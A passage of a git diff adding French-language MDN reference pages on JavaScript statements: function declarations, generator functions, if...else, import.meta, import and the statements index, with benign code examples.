    • +
  • {{jsxref("Instructions/continue", "continue")}}
    • +
  • {{jsxref("Instructions/vide", "Instruction vide","",1)}}
    • +
  • {{jsxref("Instructions/while", "while")}}
    • +
  • {{jsxref("Instructions/do...while", "do...while")}}
    • +
  • {{jsxref("Instructions/for...in", "for...in")}}
    • +
  • {{jsxref("Instructions/for...of", "for...of")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/function/index.html b/files/fr/web/javascript/reference/statements/function/index.html new file mode 100644 index 0000000000..d4faad9451 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/function/index.html @@ -0,0 +1,179 @@ +--- +title: function +slug: Web/JavaScript/Reference/Instructions/function +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/function +--- +
{{jsSidebar("Statements")}}
+ +

La déclaration function (ou l'instruction function) permet de définir une fonction et les paramètres que celle-ci utilise.

+ +
{{EmbedInteractiveExample("pages/js/statement-function.html")}}
+ + + +

Il est également possible de définir des fonctions en utilisant le constructeur {{jsxref("Function")}} et une {{jsxref("Opérateurs/L_opérateur_function", "expression de fonction","",1)}}.

+ +

Syntaxe

+ +
function nom([param1[, param2,[..., paramN]]]) {
+   [instructions]
+}
+
+ +
+
nom
+
Le nom de la fonction.
+
+ +
+
paramN
+
Le nom d'un argument à passer à la fonction. Une fonction peut avoir jusqu'à 255 arguments (cela peut varier en fonction des moteurs).
+
+ +
+
instructions
+
Les instructions qui constituent le corps de la fonctio.
+
+ +

Description

+ +

Une fonction créée via une déclaration de fonction est un objet Function et possède toutes les caractéristiques (propriétés, méthodes et comportement) d'un objet Function. Voir la page {{jsxref("Function")}} pour plus d'informations sur ces caractéristiques.

+ +

Une fonction peut également être créée en utilisant une expression (voir {{jsxref("Opérateurs/L_opérateur_function", "les expressions de fonctions","",1)}}).

+ +

Par défaut, une fonction renvoie {{jsxref("undefined")}}. Pour renvoyer une autre valeur en résultat, une fonction doit utiliser une instruction {{jsxref("Instructions/return", "return")}} qui définit la valeur à retourner.

+ +

Fonctions créées conditionnellement

+ +

Il est possible de déclarer des fonctions de façon conditionnelle (c'est-à-dire qu'on peut placer une instruction de déclaration de fonction au sein d'une instruction if). La plupart des navigateurs, autres que ceux basés sur Gecko, traiteront cette déclaration conditionnelle comme si elle était inconditionnelle (que la condition souhaitée soit vérifiée ou non) (voir cet article (en anglais) pour un aperçu). Pour cette raison, les déclarations de fonctions ne devraient pas être utilisées pour créer des fonctions de façon conditionnelle. Pour ce faire, il faut privilégier les expressions de fonctions.

+ +
var remontee = "toto" in this;
+console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
+if (false) {
+  function toto(){ return 1; }
+}
+
+// Pour Chrome:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Firefox:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Edge:
+// 'toto' n'est pas remontée. typeof toto vaut undefined
+//
+// Pour Safari:
+// 'toto' est remontée. typeof toto vaut function
+
+ +

On obtient exactement les mêmes résultats si la condition est vérifiée (ici avec true) :

+ +
var remontee = "toto" in this;
+console.log(`'toto' ${remontee ? "est" : "n'est pas"} remontée. typeof toto vaut ${typeof toto}`);
+if (true) {
+  function toto(){ return 1; }
+}
+
+// Pour Chrome:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Firefox:
+// 'toto' est remontée. typeof toto vaut undefined
+//
+// Pour Edge:
+// 'toto' n'est pas remontée. typeof toto vaut undefined
+//
+// Pour Safari:
+// 'toto' est remontée. typeof toto vaut function
+ +

La « remontée » des déclarations de fonction

+ +

Lorsqu'on utilise une déclaration de fonction pour créer une fonction, la définition de la fonction est « remontée ». Il devient donc possible d'utiliser la fonction avant de l'avoir déclarée :

+ +
remontée(); // affiche "toto" dans la console
+
+function remontée() {
+  console.log("toto");
+}
+
+ +

On notera que les {{jsxref("Opérateurs/L_opérateur_function", "expressions de fonctions","",1)}} ne sont pas remontées :

+ +
nonRemontée(); // TypeError: nonRemontée is not a function
+
+var nonRemontée = function() {
+   console.log("truc");
+};
+
+ +

Exemples

+ +

Utiliser function

+ +

Dans l'exemple qui suit, on déclare une fonction qui renvoie le total des ventes en fonction des nombres d'unités vendues pour les produits a, b, et c.

+ +
function calc_ventes(nb_produits_a, nb_produits_b, nb_produits_c) {
+   return nb_produits_a*79 + nb_produits_b * 129 + nb_produits_c * 699;
+}
+
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-function-definitions', 'Function definitions')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-function-definitions', 'Définition de fonction')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-13', 'Définition de fonction')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-13', 'Définition de fonction')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-13', 'Définition de fonction')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.function")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/function_star_/index.html b/files/fr/web/javascript/reference/statements/function_star_/index.html new file mode 100644 index 0000000000..5a55641ed3 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/function_star_/index.html @@ -0,0 +1,248 @@ +--- +title: function* +slug: Web/JavaScript/Reference/Instructions/function* +tags: + - ECMAScript 2015 + - Function + - Generator + - Instruction + - Iterator + - JavaScript + - Reference +translation_of: Web/JavaScript/Reference/Statements/function* +--- +
{{jsSidebar("Statements")}}
+ +

La déclaration function* (le mot-clé function suivi par un astérisque) permet de définir un générateur (aussi appelé une fonction génératrice) (un générateur est un objet {{jsxref("Generator")}}).

+ +
{{EmbedInteractiveExample("pages/js/statement-functionasterisk.html")}}
+ + + +
+

Il est également possible de définir un générateur en utilisant le constructeur {{jsxref("GeneratorFunction")}} et une expression {{jsxref("Opérateurs/function*", "function*")}}.

+
+ +

Syntaxe

+ +
function* nom([param1[, param2[, ... paramN]]]) {
+   instructions
+}
+
+ +
+
nom
+
Le nom de la fonction.
+
+ +
+
paramN
+
Le nom d'un paramètre formel passé à la fonction.
+
+ +
+
instructions
+
Les instructions qui constituent le corps de la fonction.
+
+ +

Description

+ +

Les générateurs sont des fonctions qu'il est possible de quitter puis de reprendre. Le contexte d'un générateur (les liaisons avec ses variables) est sauvegardé entre les reprises successives.

+ +

Les générateurs, combinés avec les promesses, sont des outils de programmation asynchrones puissants qui permettent de réduire les inconvénients causés par les callbacks (fonctions de rappel) et l'inversion de contrôle.

+ +

Lorsqu'on appelle une fonction génératrice, son corps n'est pas exécuté immédiatement, c'est un {{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}} qui est renvoyé pour la fonction. Lorsque la méthode next() de l'itérateur est appelée, le corps de la fonction génératrice est utilisé jusqu'à ce que la première expression {{jsxref("Opérateurs/yield", "yield")}} soit trouvée. Cette expression définira la valeur à renvoyer pour l'itérateur. Si on utilise {{jsxref("Opérateurs/yield*", "yield*")}}, on pourra déléguer la génération des valeurs à une autre fonction génératrice. La méthode next() renvoie un objet dont la propriété value contient la valeur générée et une propriété done qui indique si le générateur a produit sa dernière valeur ou non. Lorsqu'on appelle la méthode next() avec un argument, cela reprendra l'exécution de la fonction génératrice et remplacera la valeur de l'expression yield (là où l'exécution avait été interrompue) avec la valeur de l'argument passé à next().

+ +

On peut utiliser une instruction return dans un générateur. Lorsque cette instruction sera exécutée, le générateur sera terminé (done vaudra true). La valeur renvoyée par l'instruction return sera la valeur de terminaison du générateur. Une fois qu'un générateur est terminé, il ne peut plus produire d'autres valeurs.

+ +

À l'instar d'une instruction return, une exception levée à l'intérieur du générateur entraînera la terminaison du générateur sauf si cette exception est interceptée. Lorsqu'un générateur est terminé, les appels suivants à next() n'exécuteront aucun code provenant du générateur, ils renverront simplement un objet de la forme {value: undefined, done: true}.

+ +

Exemples

+ +

Exemple simple

+ +
function* creerID(){
+  var index = 0;
+  while (true) {
+    yield index++;
+  }
+}
+
+var gen = creerID();
+
+console.log(gen.next().value); // 0
+console.log(gen.next().value); // 1
+console.log(gen.next().value); // 2
+console.log(gen.next().value); // 3
+
+ +

Exemple utilisant des arguments

+ +
function* logGenerator() {
+  console.log(yield);
+  console.log(yield);
+  console.log(yield);
+}
+
+var gen = logGenerator();
+
+// le premier appel à next exécute la fonction depuis son
+// début jusqu'au premier yield rencontré
+gen.next();
+gen.next('bretzel');    // bretzel
+gen.next('california'); // california
+gen.next('mayonnaise'); // mayonnaise
+
+ +

Exemple utilisant yield*

+ +
function* autreGenerateur(i) {
+  yield i + 1;
+  yield i + 2;
+  yield i + 3;
+}
+function* generateur(i){
+  yield i;
+  yield* autreGenerateur(i);
+  yield i + 10;
+}
+
+var gen = generateur(10);
+
+console.log(gen.next().value); // 10
+console.log(gen.next().value); // 11
+console.log(gen.next().value); // 12
+console.log(gen.next().value); // 13
+console.log(gen.next().value); // 20
+
+ +

Utilisation de return

+ +
function* yieldAndReturn() {
+  yield "Y";
+  return "R";
+  yield "inaccessible";
+}
+
+var gen = yieldAndReturn();
+
+console.log(gen.next()); // { value: "Y", done: false }
+console.log(gen.next()); // { value: "R", done: true }
+console.log(gen.next()); // { value: undefined, done: true }
+
+ +

Utiliser un générateur comme propriété

+ +
const monObj = {
+  *generator () {
+    yield "a";
+    yield "b";
+  }
+}
+
+const gen = monObj.generator();
+
+console.log(gen.next()); // { value: "a", done: false }
+console.log(gen.next()); // { value: "b", done: false }
+console.log(gen.next()); // { value: undefined, done: true }
+ +

Utiliser un générateur comme propriété calculée

+ +
class Toto {
+  *[Symbol.iterator] () {
+    yield 1;
+    yield 2;
+  }
+}
+
+const monObj = {
+  *[Symbol.iterator] () {
+    yield "a";
+    yield "b";
+  }
+}
+
+console.log(Array.from(new Toto)); // [1, 2]
+console.log(Array.from(monObj));   // [ "a", "b"]
+ +

Les générateurs ne sont pas constructibles

+ +
function* f() {}
+var obj = new f; // lève une TypeError: f n'est pas un constructeur
+
+ +

Générateur défini avec une expression

+ +
const toto = function* () {
+  yield 10;
+  yield 20;
+};
+const truc = toto();
+console.log(truc.next()); // {value: 10, done: false}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ES2015', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2015')}}Définition initiale
{{SpecName('ES2016', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ES2016')}}Les générateurs ne doivent pas gérer la trappe [[Construct]] et déclencher une exception s'ils sont utilisés avec new.
{{SpecName('ESDraft', '#sec-generator-function-definitions', 'function*')}}{{Spec2('ESDraft')}}
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.generator_function")}}

+ +

Notes spécifiques à Firefox

+ +

Les générateurs et itérateurs dans Firefox pour les versions antérieures à Firefox 26

+ +

Les anciennes versions de Firefox implémentaient une ancienne version de la proposition pour les générateurs. Dans cette version, les générateurs étaient définis avec le mot-clé function (sans astérisque) et étaient différents selon d'autres aspects. Voir la page sur les générateurs historiques pour plus d'informations.

+ +

IteratorResult au lieu d'une exception

+ +

À partir de Gecko 29 {{geckoRelease(29)}}, lorsqu'un générateur est terminé, il ne renvoie plus une exception {{jsxref("TypeError")}} « generator has already finished ». Il renvoie désormais un objet IteratorResult comme { value: undefined, done: true } ({{bug(958951)}}).

+ +

Voir aussi

+ +
    +
  • L'expression {{jsxref("Opérateurs/function*", "function*")}}
    • +
  • L'objet {{jsxref("GeneratorFunction")}}
    • +
  • {{jsxref("Les_protocoles_iteration","itérateur","#Le_protocole_.C2.AB_it.C3.A9rateur_.C2.BB",1)}}
    • +
  • {{jsxref("Opérateurs/yield", "yield")}}
    • +
  • {{jsxref("Opérateurs/yield*", "yield*")}}
    • +
  • L'objet {{jsxref("Function")}}
    • +
  • {{jsxref("Instructions/function", "Les déclarations de fonction","",1)}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_function", "Les expressions de fonction","",1)}}
    • +
  • {{jsxref("Fonctions", "Les fonctions","",1)}}
    • +
  • D'autres ressources disponibles sur le Web : + +
    • +
diff --git a/files/fr/web/javascript/reference/statements/if...else/index.html b/files/fr/web/javascript/reference/statements/if...else/index.html new file mode 100644 index 0000000000..1b2cbf6497 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/if...else/index.html @@ -0,0 +1,174 @@ +--- +title: if...else +slug: Web/JavaScript/Reference/Instructions/if...else +tags: + - JavaScript + - Reference + - Statement +translation_of: Web/JavaScript/Reference/Statements/if...else +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction if exécute une instruction si une condition donnée est vraie ou équivalente à vrai. Si la condition n'est pas vérifiée, il est possible d'utiliser une autre instruction.

+ +
{{EmbedInteractiveExample("pages/js/statement-ifelse.html")}}
+ + + +

Syntaxe

+ +
if (condition)
+   instruction1
+[else
+   instruction2]
+
+ +
+
condition
+
Une expression qui est évaluée à true ou false.
+
+ +
+
instruction1
+
L'instruction qui est exécutée si la condition est vérifiée (i.e. est évaluée à true). Cette instruction peut être n'importe quelle instruction valide, y compris une imbrication d'autres instructions if. Pour exécuter plusieurs instructions, on pourra utiliser un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) qui permet de les regrouper. Pour n'exécuter aucune instruction, on pourra utiliser {{jsxref("Instructions/Vide","l'instruction vide","",1)}}.
+
+ +
+
instruction2
+
Si la clause else existe, l'instruction qui est exécutée si la condition est évaluée à false. Comme pour la première, cette instruction peut être n'importe quelle instruction valide : une autre instruction if imbriquée, un bloc d'instruction, une instruction vide, etc.
+
+ +

Description

+ +

Plusieurs instructions if...else peuvent être imbriquées afin de créer une structure else if (on notera qu'il n'y a pas de mot-clé elseif en JavaScript).

+ +
if (condition1)
+  instruction1
+else if (condition2)
+  instruction2
+else if (condition3)
+  instruction3
+...
+else
+  instructionN
+
+ +

Si on indente correctement le code, on retrouve la structure exactement équivalente :

+ +
if (condition1)
+  instruction1
+else
+  if (condition2)
+    instruction2
+  else
+    if (condition3)
+...
+
+ +

Afin d'exécuter plusieurs instructions, on utilisera un {{jsxref("Instructions/bloc","bloc d'instructions","",1)}} ({ ... }) pour regrouper les instructions souhaitées. Utiliser les blocs d'instructions est une bonne façon d'organiser son code, surtout lorsque celui-ci comporte des instructions conditionnelles imbriquées.

+ +
if (condition) {
+  instructions1
+} else {
+  instructions2
+}
+
+ +

Attention à ne pas confondre les valeurs booléennes « primitives » true et false avec les valeurs true et false d'un objet {{jsxref("Boolean")}}. Toute valeur qui n'est pas false, {{jsxref("undefined")}}, {{jsxref("null")}}, 0, -0, {{jsxref("NaN")}} ou la chaîne vide (""), et tout objet, y compris un objet Boolean dont la valeur est false, seront évalués à true lors d'une instruction conditionnelle if. Ainsi :

+ +
var b = new Boolean(false);
+if (b) // la condition sera évaluée à true
+
+ +

Exemples

+ +

Utiliser if...else

+ +
if (cipher_char == from_char) {
+  result = result + to_char;
+  x++;
+} else {
+  result = result + clear_char;
+}
+
+ +

Utiliser else if

+ +

Bien qu'il n'y ait pas de mot-clé elseif dans le langage JavaScript, il est possible d'imbriquer des instructions if...else à la suite les une des autres en plaçant un espace entre else et le début de l'instruction if imbriquée :

+ +
if (x > 50){
+  // faire quelque chose
+} else if (x > 5) {
+  // faire autre chose
+} else {
+  // faire encore autre chose
+}
+
+ +

Affectation de variable dans l'expression conditionnelle

+ +

Il est conseillé de ne pas utiliser d'affectation au sein des expressions conditionnelles. En effet, l'affectation peut être confondue avec un test d'égalité lorsqu'on analyse le code. Il ne faut donc pas utiliser le code suivant (bien qu'il fonctionne) :

+ +
if (x = y) {
+  /* exécuter les instructions */
+}
+
+ +

S'il est nécessaire d'effectuer une telle affectation, une pratique courante consiste à ajouter des parenthèses de cette manière afin d'alerter le lecteur du code (exemple à utiliser) :

+ +
if ((x = y)) {
+  /* exécuter les instructions */
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('ESDraft', '#sec-if-statement', 'instruction if')}}{{Spec2('ESDraft')}} 
{{SpecName('ES6', '#sec-if-statement', 'instruction if')}}{{Spec2('ES6')}} 
{{SpecName('ES5.1', '#sec-12.5', 'instruction if')}}{{Spec2('ES5.1')}} 
{{SpecName('ES3', '#sec-12.5', 'instruction if')}}{{Spec2('ES3')}} 
{{SpecName('ES1', '#sec-12.5', 'instruction if')}}{{Spec2('ES1')}}Définition initiale
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.if_else")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/bloc", "bloc")}}
    • +
  • {{jsxref("Instructions/switch", "switch")}}
    • +
  • {{jsxref("Opérateurs/L_opérateur_conditionnel", "L'opérateur conditionnel","",1)}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/import.meta/index.html b/files/fr/web/javascript/reference/statements/import.meta/index.html new file mode 100644 index 0000000000..4acb0c1029 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/import.meta/index.html @@ -0,0 +1,70 @@ +--- +title: import.meta +slug: Web/JavaScript/Reference/Instructions/import.meta +tags: + - JavaScript + - Modules + - Reference +translation_of: Web/JavaScript/Reference/Statements/import.meta +--- +
{{JSSidebar("Statements")}}
+ +

L'objet import.meta est une méta-propriété qui expose des métadonnées d'un module JavaScript spécifiques au contexte. Cet objet contient des informations à propos du module, telles que l'URL du module.

+ +

Syntaxe

+ +
import.meta
+ +

Description

+ +

L'objet import.meta se compose d'un mot-clé "import", suivi d'un point, puis du nom de propriété "meta". En temps normal, "import." serait utilisé comme contexte pour un accès à une propriété mais, dans ce cas, "import." n'est pas, à proprement parler, un objet.

+ +

L'objet import.meta est créé par l'implémentation ECMAScript avec un prototype qui vaut {{jsxref("null")}}. Cet objet est extensible et ses propriétés sont accessibles en écriture, configurables et énumérables.

+ +

Exemples

+ +

Soit un module mon-module.js

+ +
<script type="module" src="mon-module.js"></script>
+
+ +

Il est possible d'accéder aux métadonnées du module grâce à l'objet import.meta.

+ +
console.log(import.meta); // { url: "file:///home/user/mon-module.js" }
+ +

Cet objet contient une propriété url qui indique l'URL de base du module. Dans le cas des scripts externes, celle-ci sera l'URL à partir de laquelle le script a été obtenu. Pour les scripts écrits dans le document, ce sera l'URL de base du document englobant.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour import.metaNiveau 3Définition initiale.
{{SpecName("HTML WHATWG","webappapis.html#hostgetimportmetaproperties","import.meta")}}{{Spec2("HTML WHATWG")}}Définition des propriétés import.meta en HTML.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.import_meta")}}

+ +

Voir aussi

+ +
    +
  • {{jsxref("Instructions/import","import")}}
    • +
  • {{jsxref("Instructions/export","export")}}
    • +
diff --git a/files/fr/web/javascript/reference/statements/import/index.html b/files/fr/web/javascript/reference/statements/import/index.html new file mode 100644 index 0000000000..37c904eb10 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/import/index.html @@ -0,0 +1,242 @@ +--- +title: import +slug: Web/JavaScript/Reference/Instructions/import +tags: + - ECMAScript 2015 + - Instruction + - JavaScript + - Modules + - import +translation_of: Web/JavaScript/Reference/Statements/import +--- +
{{jsSidebar("Statements")}}
+ +

L'instruction import est utilisée pour importer des liens qui sont exportés par un autre module. Les modules importés sont interprétés en mode strict dans tous les cas. L'instruction import ne peut pas être utilisée dans les scripts embarqués sauf si ceux-ci proviennent de ressources avec type="module".

+ +
+

Note : Il existe également une forme fonctionnelle, import() (cf. ci-après) qui permet d'avoir des chargements dynamiques. La compatibilité ascendante peut être atteinte en utilisant l'attribut nomodule sur la balise {{HTMLElement("script")}}.

+
+ +

Syntaxe

+ +
import exportParDefaut from "nom-module";
+import * as nom from "nom-module";
+import { export } from "nom-module";
+import { export as alias } from "nom-module";
+import { export1 , export2 } from "nom-module";
+import { export1 , export2 as alias2 , [...] } from "nom-module";
+import exportParDefaut, { export [ , [...] ] } from "nom-module";
+import exportParDefaut, * as nom from "nom-module";
+import "nom-module";
+import { toto , truc } from "nom-module/chemin/vers/fichier-non-exporte";
+let promesse = import("nom-module");
+ +
+
exportParDefaut
+
Nom qui fera référence à l'export par défaut du module.
+
nom-module
+
Le module depuis lequel importer. C'est souvent un chemin absolu ou relatif vers le fichier .js contenant le module. Certains empaqueteurs peuvent permettre ou requérir l'utilisation de l'extension ; vérifier votre environnement. Seules les String à apostrophes simples ou doubles sont autorisées.
+
nom
+
Nom de l'objet module qui sera utilisé comme un genre d'espace de noms lors de références aux imports.
+
export, exportN
+
Nom des exports à importer.
+
alias, aliasN
+
Noms qui feront référence aux imports nommés.
+
+ +

Description

+ +

Le paramètre nom est le nom de l'"objet module" qui sera utilisé comme un genre d'espace de noms lors de références aux exports. Les paramètres export indiquent les exports nommés individuellement, tandis que la syntaxe import * as nom les importe tous. Ci-dessous d'autres exemples pour clarifier la syntaxe.

+ +

Importer l'intégralité du contenu d'un module

+ +

Ce qui suit insère monModule dans la portée courante, contenant tous les exports  du module dans le fichier situé dans /modules/mon-module.js.

+ +
import * as monModule from '/modules/mon-module.js';
+
+ +

Ici, accéder aux exports signifie utiliser le nom du module (ici monModule) comme un espace de noms. Par exemple, si le module importé ci-dessus incluait un export faireToutesLesChosesIncroyables(), vous l'écririez comme ceci :

+ +
monModule.faireToutesLesChosesIncroyables();
+ +

Importer un seul export depuis un module

+ +

Étant donné un objet ou une valeur nommé(e) monExport qui est exporté(e) depuis le module mon-module, soit implicitement (parce que l'intégralité du module est exportée), soit explicitement (en utilisant l'instruction {{jsxref("Statements/export", "export")}}), ce qui suit insére monExport dans la portée courante.

+ +
import {monExport} from '/modules/mon-module.js';
+ +

Importer plusieurs éléments exportés depuis un module

+ +

Ce qui suit insère à la fois machin et truc dans la portée courante.

+ +
import {machin, truc} from '/modules/mon-module.js';
+ +

Importer un élément exporté avec un alias

+ +

Vous pouvez renommer un export lors de l'importation. Par exemple, ce qui suit insére nomCourt dans la portée courante.

+ +
import {nomDExportDeModuleVraimentVraimentLong as nomCourt}
+  from '/modules/mon-module.js';
+ +

Renommer plusieurs exports pendant l'import

+ +

Importe des exports multiples depuis un module avec des alias commodes :

+ +
import {
+  nomDExportDeModuleVraimentVraimentLong as nomCourt,
+  unAutreNomDeModuleLong as court
+} from '/modules/mon-module.js';
+ +

Importer un module uniquement pour ses effets de bord

+ +

Importe un module complet pour ses effets de bord seulement, sans importer quoi que ce soit. Ce qui suit exécute le code global du module, mais n'importe en fait aucune valeur.

+ +
import '/modules/mon-module.js';
+
+ +

Importation des défauts

+ +

Il est possible d'avoir un {{jsxref("Statements/export", "export")}} par défaut (que ce soit un objet, une fonction, une classe, etc.). L'instruction import peut alors être utilisée pour importer ces défauts.

+ +

La version la plus simple importe directement le défaut :

+ +
import monDefaut from '/modules/mon-module.js';
+ +

Il est également possible d'utiliser la syntaxe de défaut avec celles vues ci-dessus (imports d'espaces de noms ou imports nommés). Dans de tels cas, l'import par défaut devra être déclaré en premier. Par exemple :

+ +
import monDefaut, * as monModule from '/modules/mon-module.js';
+// monModule utilisé comme un espace de noms
+ +

ou

+ +
import monDefaut, {machin, truc} from '/modules/mon-module.js';
+// imports nommés spécifiques
+
+ +

Imports dynamiques

+ +

Le mot-clé import peut être utilisé comme une fonction afin d'importer dynamiquement un module (utile lorsqu'on souhaite charger un module selon une condition donnée ou faire du chargement à la demande). Lorsqu'il est utilisé de cette façon, il renvoie une promesse :

+ +
import('/modules/mon-module.js')
+  .then((module) => {
+    // Faire quelque chose avec le module
+  });
+ +

On peut utiliser cette forme avec le mot-clé await :

+ +
let module = await import('/modules/mon-module.js');
+ +

Exemples

+ +

Importation depuis un module secondaire pour aider le traitement d'une requête AJAX JSON.

+ +

Le module : fichier.js

+ +
function getJSON(url, rappel) {
+  let xhr = new XMLHttpRequest();
+  xhr.onload = function () {
+    rappel(this.responseText)
+  };
+  xhr.open('GET', url, true);
+  xhr.send();
+}
+
+export function recupererContenuUtile(url, rappel) {
+  getJSON(url, donnees => rappel(JSON.parse(donnees)));
+}
+ +

Le programme principal : principal.js

+ +
import { recupererContenuUtile } from '/modules/fichier.js';
+
+recupererContenuUtile('http://www.example.com',
+    donnees => { faireQuelqueChoseDUtile(donnees); });
+ +

Import dynamique

+ +

Dans cet exemple, on voit comment charger une fonctionnalité sur une page lorsqu'un utilisateur effectue une certaine action. Ici, lorsque l'utilisateur clique sur un bouton, cela déclenche l'appel d'une fonction dans le module.

+ +
const main = document.querySelector("main");
+for (const link of document.querySelectorAll("nav > a")) {
+  link.addEventListener("click", e => {
+    e.preventDefault();
+
+    import('/modules/mon-module.js')
+      .then(module => {
+        module.loadPageInto(main);
+      })
+      .catch(err => {
+        main.textContent = err.message;
+      });
+  });
+}
+
+;
+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
Proposition pour les imports dynamiques « fonctionnels »Proposition de niveau 4Fera partie de ECMAScript 2020
{{SpecName("ESDraft", "#sec-imports", "Imports")}}{{Spec2("ESDraft")}}
{{SpecName("ES2018", "#sec-imports", "Imports")}}{{Spec2("ES2018")}}
{{SpecName("ES2017", "#sec-imports", "Imports")}}{{Spec2("ES2017")}}
{{SpecName("ES2016", "#sec-imports", "Imports")}}{{Spec2("ES2016")}}
{{SpecName("ES2015", "#sec-imports", "Imports")}}{{Spec2("ES2015")}}Définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("javascript.statements.import")}}

+ +

Suivi de l'implémentation

+ +

Le tableau qui suit fournit un statut journalier de l'implémentation de cette fonctionnalité car celle-ci n'a pas encore atteint une stabilité sur l'ensemble des navigateurs. Les données sont générées à partir des tests de la fonctionnalité dans Test262 (la suite de tests standard pour JavaScript), exécutée pour les versions nightly ou release des moteurs JavaScript des navigateurs.

+ +
{{EmbedTest262ReportResultsTable("dynamic-import")}}
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/statements/index.html b/files/fr/web/javascript/reference/statements/index.html new file mode 100644 index 0000000000..ad89ea7371 --- /dev/null +++ b/files/fr/web/javascript/reference/statements/index.html @@ -0,0 +1,155 @@ +--- +title: Instructions +slug: Web/JavaScript/Reference/Instructions +tags: + - JavaScript + - Reference + - statements +translation_of: Web/JavaScript/Reference/Statements +--- +
+
{{jsSidebar("Statements")}}
+ +

Les applications JavaScript sont composées de plusieurs instructions organisées grâce à une syntaxe. Une instruction peut s'étaler sur plusieurs lignes et on peut avoir plusieurs instructions sur une seule ligne si chaque instruction est séparée de la suivante par un point-virgule.

+ +

Instructions et déclarations, par catégorie

+ +

Pour une liste alphabétique, voir le volet de navigation situé à gauche sur cette page.

+ +

Contrôle du flux

+ +
+
{{jsxref("Instructions/bloc", "Bloc")}}
+
Une instruction de bloc est utilisée pour regrouper zéro ou plusieurs instructions. Un bloc est délimité par une paire d'accolades.
+
{{jsxref("Instructions/break", "break")}}
+
Cette instruction termine la boucle ou l'instruction switch ou l'instruction label en cours et continue l'exécution sur l'instruction suivant l'instruction terminée.
+
{{jsxref("Instructions/continue", "continue")}}
+
Cette instruction termine l'exécution des instructions dans la boucle courante, ou la boucle avec une étiquette correspondante, et continue l'exécution de la boucle dans l'itération suivante.
+
{{jsxref("Instructions/vide", "Vide")}}
+
Une instruction vide est utilisée pour ne fournir aucune instruction là où JavaScript en attendrait une.
+
{{jsxref("Instructions/if...else","if...else")}}
+
Cette instruction exécute une instruction si une condition donnée est vérifiée. Si la condition n'est pas vérifiée une autre instruction pourra être exécutée.
+
{{jsxref("Instructions/switch", "switch")}}
+
Cette instruction permet d'évaluer une expression et de faire correspondre le résultat de cette expression avec différents cas et d'exécuter les instructions associées aux cas qui ont chacun un identifiant.
+
{{jsxref("Instructions/throw", "throw")}}
+
Cette instruction lève une exception.
+
{{jsxref("Instructions/try...catch","try...catch")}}
+
Cette instruction permet de spécifier un ensemble d'instructions à tenter, et de préciser le traitement à effectuer dans le cas où une exception est produite.
+
+ +

Déclarations

+ +
+
{{jsxref("Instructions/var", "var")}}
+
+

Cette instruction permet de déclarer une variable, éventuellement en fournissant une valeur pour permettant de l'initialiser.

+
+
{{jsxref("Instructions/let", "let")}}
+
Cette instruction permet de déclarer une variable locale dans une portée d'un bloc et éventuellement d'initialiser sa valeur.
+
{{jsxref("Instructions/const", "const")}}
+
Cette instruction déclare une constante en lecture seule.
+
+ +

Fonctions et classes

+ +
+
{{jsxref("Instructions/function", "function")}}
+
Cette instruction déclare une fonction avec les paramètres donnés.
+
{{jsxref("Instructions/function*", "function*")}}
+
Les fonctions génératrices permettent de créer des itérateurs plus simplement.
+
{{experimental_inline}} {{jsxref("Instructions/async_function", "async function")}}
+
Cette instruction déclare une fonction asynchrone avec les paramètres associés.
+
{{jsxref("Instructions/return", "return")}}
+
Cette instruction spécifie la valeur de retour renvoyée par une fonction.
+
{{jsxref("Instructions/class", "class")}}
+
Déclare une classe.
+
+ +

Itérations

+ +
+
{{jsxref("Instructions/do...while", "do...while")}}
+
Cette instruction crée une boucle qui s'exécute tant que la condition est vraie. La condition est évaluée après avoir exécuté une itération de boucle, ce qui fait que cette boucle sera exécutée au moins une fois.
+
{{jsxref("Instructions/for", "for")}}
+
Cette instruction crée une boucle qui se base sur trois expressions facultatives. Ces expressions sont entre parenthèses, séparées par des points virgules et suivies par l'instruction à exécuter dans la boucle.
+
